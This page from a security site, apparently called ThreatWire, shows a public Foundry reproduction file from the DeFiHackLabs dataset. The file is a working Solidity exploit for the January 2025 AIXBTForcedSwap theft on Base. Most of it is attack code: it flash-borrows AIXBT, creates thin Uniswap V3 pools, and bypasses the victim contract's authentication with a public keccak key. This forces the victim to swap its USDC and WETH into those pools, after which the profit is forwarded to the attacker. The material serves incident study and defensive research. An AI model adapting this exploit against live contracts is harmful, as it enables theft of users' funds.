Public reproduction file
src/test/2025-01/AIXBTForcedSwap_exp.sol
Public reproduction file for dataset entry AIXBTForcedSwap.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 13,597.36 USDC8// Attacker : 0x312b559b41139c75a75c7ae1ea4454e661a026479// Attack Contract : 0x4f3a1aebc074ef7a1b3675d7b8d4c5a72d629fac10// Vulnerable Contract : 0x32cd8541ccd275a70dda33a9fd490d948a78e1ff11// Attack Tx : https://basescan.org/tx/0x5a7462b79d6df0048299c229bdca232ea6dcb97d80cd3b512c28e67db2370d4713// @Info14// Vulnerable Contract Code : https://basescan.org/address/0x32cd8541ccd275a70dda33a9fd490d948a78e1ff#code16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/36318//19// The attacker flash-borrowed AIXBT, created narrow one-sided Uniswap V3 AIXBT pools, and called an20// unverified victim selector that made the victim swap its full USDC and WETH balances into those pools.21// The decompiled victim shows the selector accepts keccak256("1205060227") as an auth bypass, then approves22// its own token balance to the Uniswap router and executes caller-controlled exactInputSingle parameters.23// The attacker withdrew the LP positions, repaid the flash loan, and forwarded the remaining USDC profit.25address constant ATTACKER = 0x312B559b41139c75a75c7aE1ea4454e661a02647;26address constant VULNERABLE_CONTRACT = 0x32cD8541cCD275A70dDA33A9fD490D948A78E1ff;28address constant AIXBT = 0x4F9Fd6Be4a90f2620860d680c0d4d5Fb53d1A825;29address constant BASE_USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;30address constant BASE_WETH = 0x4200000000000000000000000000000000000006;31address constant UNISWAP_V3_POSITION_MANAGER = 0x03a520b32C04BF3bEEf7BEb72E919cf822Ed34f1;32address constant UNISWAP_V3_SWAP_ROUTER = 0x2626664c2603336E57B271c5C0b26F421741e481;33address constant AIXBT_USDC_FLASH_POOL = 0xf1Fdc83c3A336bdbDC9fB06e318B08EadDC82FF4;35interface IBaseSwapRouter {36 struct ExactInputSingleParams {37 address tokenIn;38 address tokenOut;39 uint24 fee;40 address recipient;41 uint256 amountIn;42 uint256 amountOutMinimum;43 uint160 sqrtPriceLimitX96;44 }46 struct ExactOutputSingleParams {47 address tokenIn;48 address tokenOut;49 uint24 fee;50 address recipient;51 uint256 amountOut;52 uint256 amountInMaximum;53 uint160 sqrtPriceLimitX96;54 }56 function exactInputSingle(57 ExactInputSingleParams calldata params58 ) external payable returns (uint256 amountOut);60 function exactOutputSingle(61 ExactOutputSingleParams calldata params62 ) external payable returns (uint256 amountIn);63}65contract ContractTest is BaseTestWithBalanceLog {66 function setUp() public {67 uint256 forkBlock = 25_559_856;68 vm.createSelectFork("base", forkBlock);69 fundingToken = BASE_USDC;71 vm.label(ATTACKER, "Attacker EOA");72 vm.label(VULNERABLE_CONTRACT, "Victim contract");73 vm.label(AIXBT, "AIXBT");74 vm.label(BASE_USDC, "USDC");75 vm.label(BASE_WETH, "WETH");76 vm.label(UNISWAP_V3_POSITION_MANAGER, "Uniswap V3 position manager");77 vm.label(UNISWAP_V3_SWAP_ROUTER, "Uniswap V3 swap router");78 vm.label(AIXBT_USDC_FLASH_POOL, "AIXBT/USDC flash pool");79 }81 function testExploit() public balanceLog2(ATTACKER) {82 AIXBTForcedSwapExploit exploit = new AIXBTForcedSwapExploit(ATTACKER);84 uint256 attackerBefore = IERC20(BASE_USDC).balanceOf(ATTACKER);85 vm.prank(ATTACKER);86 exploit.attack();88 uint256 profit = IERC20(BASE_USDC).balanceOf(ATTACKER) - attackerBefore;89 emit log_named_decimal_uint("Attacker USDC profit", profit, 6);90 assertGt(profit, 13_000e6, "USDC profit below reported impact");91 }92}94contract AIXBTForcedSwapExploit {95 IERC20 private constant aixbt = IERC20(AIXBT);96 IERC20 private constant usdc = IERC20(BASE_USDC);97 IERC20 private constant weth = IERC20(BASE_WETH);98 INonfungiblePositionManager private constant positionManager =99 INonfungiblePositionManager(UNISWAP_V3_POSITION_MANAGER);100 IBaseSwapRouter private constant swapRouter = IBaseSwapRouter(UNISWAP_V3_SWAP_ROUTER);101 IUniswapV3Flash private constant flashPool = IUniswapV3Flash(AIXBT_USDC_FLASH_POOL);103 // Victim 0x229e9756 auth from decompiler:104 // key == keccak256("1205060227") || msg.sender == runner || msg.sender == owner105 // Because the key is a public bytecode constant, any caller can make the victim approve tokenIn to106 // the router and swap its own balance into attacker-prepared AIXBT pools.107 bytes4 private constant VICTIM_SWAP_SELECTOR = 0x229e9756;108 bytes32 private constant VICTIM_SWAP_KEY = keccak256("1205060227");110 address private immutable profitReceiver;112 constructor(113 address profitReceiver_114 ) {115 profitReceiver = profitReceiver_;116 }118 function attack() external {119 require(msg.sender == profitReceiver, "only profit receiver");121 // step 1: borrow AIXBT and enter the Uniswap V3 flash callback.122 uint256 flashAmount = 10 ether;123 flashPool.flash(address(this), flashAmount, 0, abi.encode(flashAmount));124 }126 function uniswapV3FlashCallback(127 uint256 fee0,128 uint256 fee1,129 bytes calldata data130 ) external {131 require(msg.sender == AIXBT_USDC_FLASH_POOL, "unexpected flash pool");132 require(fee1 == 0, "unexpected token1 fee");134 uint256 flashAmount = abi.decode(data, (uint256));135 aixbt.approve(UNISWAP_V3_POSITION_MANAGER, type(uint256).max);136 usdc.approve(UNISWAP_V3_SWAP_ROUTER, type(uint256).max);137 weth.approve(UNISWAP_V3_SWAP_ROUTER, type(uint256).max);139 // step 2: create two fresh 0.01% pools initialized at a 1:1 sqrt price.140 uint160 sqrtPriceX96 = uint160(1) << 96;141 positionManager.createAndInitializePoolIfNecessary(AIXBT, BASE_USDC, 100, sqrtPriceX96);142 positionManager.createAndInitializePoolIfNecessary(BASE_WETH, AIXBT, 100, sqrtPriceX96);144 // step 3: seed AIXBT/USDC, force the victim's full USDC balance through it, then collect.145 (uint256 aixbtUsdcTokenId, uint128 aixbtUsdcLiquidity,,) =146 _mintPosition(AIXBT, BASE_USDC, 100, 0, 100, aixbt.balanceOf(address(this)), 0);147 _forceVictimSwap(BASE_USDC, usdc.balanceOf(VULNERABLE_CONTRACT));148 _removeAndCollect(aixbtUsdcTokenId, aixbtUsdcLiquidity);150 // step 4: seed WETH/AIXBT, force the victim's full WETH balance through it, then collect.151 (uint256 wethAixbtTokenId, uint128 wethAixbtLiquidity,,) =152 _mintPosition(BASE_WETH, AIXBT, 100, -100, 0, 0, aixbt.balanceOf(address(this)));153 _forceVictimSwap(BASE_WETH, weth.balanceOf(VULNERABLE_CONTRACT));154 _removeAndCollect(wethAixbtTokenId, wethAixbtLiquidity);156 // step 5: top up exact AIXBT owed for the flash loan, then convert collected WETH to USDC.157 uint256 aixbtOwed = flashAmount + fee0;158 uint256 aixbtBalance = aixbt.balanceOf(address(this));159 if (aixbtBalance < aixbtOwed) {160 _swapUsdcForExactAixbt(aixbtOwed - aixbtBalance);161 }162 _swapAllWethToUsdc();164 // step 6: repay the flash pool and forward the remaining USDC to the attacker EOA.165 aixbt.transfer(AIXBT_USDC_FLASH_POOL, aixbtOwed);166 usdc.transfer(profitReceiver, usdc.balanceOf(address(this)));167 }169 function _mintPosition(170 address token0,171 address token1,172 uint24 fee,173 int24 tickLower,174 int24 tickUpper,175 uint256 amount0Desired,176 uint256 amount1Desired177 ) private returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1) {178 (tokenId, liquidity, amount0, amount1) = positionManager.mint(179 INonfungiblePositionManager.MintParams({180 token0: token0,181 token1: token1,182 fee: fee,183 tickLower: tickLower,184 tickUpper: tickUpper,185 amount0Desired: amount0Desired,186 amount1Desired: amount1Desired,187 amount0Min: 0,188 amount1Min: 0,189 recipient: address(this),190 deadline: block.timestamp191 })192 );193 }195 function _removeAndCollect(196 uint256 tokenId,197 uint128 liquidity198 ) private {199 positionManager.decreaseLiquidity(200 INonfungiblePositionManager.DecreaseLiquidityParams({201 tokenId: tokenId, liquidity: liquidity, amount0Min: 0, amount1Min: 0, deadline: block.timestamp202 })203 );204 positionManager.collect(205 INonfungiblePositionManager.CollectParams({206 tokenId: tokenId, recipient: address(this), amount0Max: type(uint128).max, amount1Max: type(uint128).max207 })208 );209 }211 function _forceVictimSwap(212 address tokenIn,213 uint256 amountIn214 ) private {215 (bool ok, bytes memory returndata) = VULNERABLE_CONTRACT.call(216 abi.encodeWithSelector(217 VICTIM_SWAP_SELECTOR, VICTIM_SWAP_KEY, tokenIn, amountIn, AIXBT, uint256(0), uint24(100), uint160(0)218 )219 );220 if (!ok) {221 assembly {222 revert(add(returndata, 0x20), mload(returndata))223 }224 }225 }227 function _swapUsdcForExactAixbt(228 uint256 amountOut229 ) private {230 swapRouter.exactOutputSingle(231 IBaseSwapRouter.ExactOutputSingleParams({232 tokenIn: BASE_USDC,233 tokenOut: AIXBT,234 fee: 10_000,235 recipient: address(this),236 amountOut: amountOut,237 amountInMaximum: usdc.balanceOf(address(this)),238 sqrtPriceLimitX96: 0239 })240 );241 }243 function _swapAllWethToUsdc() private {244 uint256 wethBalance = weth.balanceOf(address(this));245 if (wethBalance == 0) return;247 swapRouter.exactInputSingle(248 IBaseSwapRouter.ExactInputSingleParams({249 tokenIn: BASE_WETH,250 tokenOut: BASE_USDC,251 fee: 3000,252 recipient: address(this),253 amountIn: wethBalance,254 amountOutMinimum: 0,255 sqrtPriceLimitX96: 0256 })257 );258 }259}Analysis
Dataset entry
Public Foundry test for “AIXBTForcedSwap” (2025-01-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
18 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-01/98Token_exp.solSame month in the dataset · 53 lines
- src/test/2025-01/Ast_exp.solSame month in the dataset · 111 lines
- src/test/2025-01/HORS_exp.solSame month in the dataset · 92 lines
- src/test/2025-01/IdolsNFT_exp.solSame month in the dataset · 81 lines
- src/test/2025-01/IPC_exp.solSame month in the dataset · 105 lines
- src/test/2025-01/JPulsepot_exp.solSame month in the dataset · 78 lines
- src/test/2025-01/LAURAToken_exp.solSame month in the dataset · 204 lines
- src/test/2025-01/LPMine_exp.solSame month in the dataset · 96 lines
- src/test/2025-01/MCAI_exp.solSame month in the dataset · 89 lines
- src/test/2025-01/Mosca_exp.solSame month in the dataset · 75 lines
- src/test/2025-01/Mosca2_exp.solSame month in the dataset · 78 lines
- src/test/2025-01/ODOS_exp.solSame month in the dataset · 68 lines
- src/test/2025-01/Paribus_exp.solSame month in the dataset · 188 lines
- src/test/2025-01/RoulettePotV2_exp.solSame month in the dataset · 72 lines
- src/test/2025-01/sorraStaking.solSame month in the dataset · 72 lines
- src/test/2025-01/Unilend_exp.solSame month in the dataset · 157 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x312b559b41139c75a75c7ae1ea4454e661a02647
- Attack Contract
0x4f3a1aebc074ef7a1b3675d7b8d4c5a72d629fac
- Vulnerable Contract
0x32cd8541ccd275a70dda33a9fd490d948a78e1ff
- Attack Tx
0x5a7462b79d6df0048299c229bdca232ea6dcb97d80cd3b512c28e67db2370d47
File record
- Name
- AIXBTForcedSwap
- Path
- src/test/2025-01/AIXBTForcedSwap_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 91f2115c1585888ec7f43407941a366edd3c6e9e
- Language
- Solidity
- Size
- 260 lines
- Date
- 2025-01-26
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-01/AIXBTForcedSwap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 91f2115c1585888ec7f43407941a366edd3c6e9e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.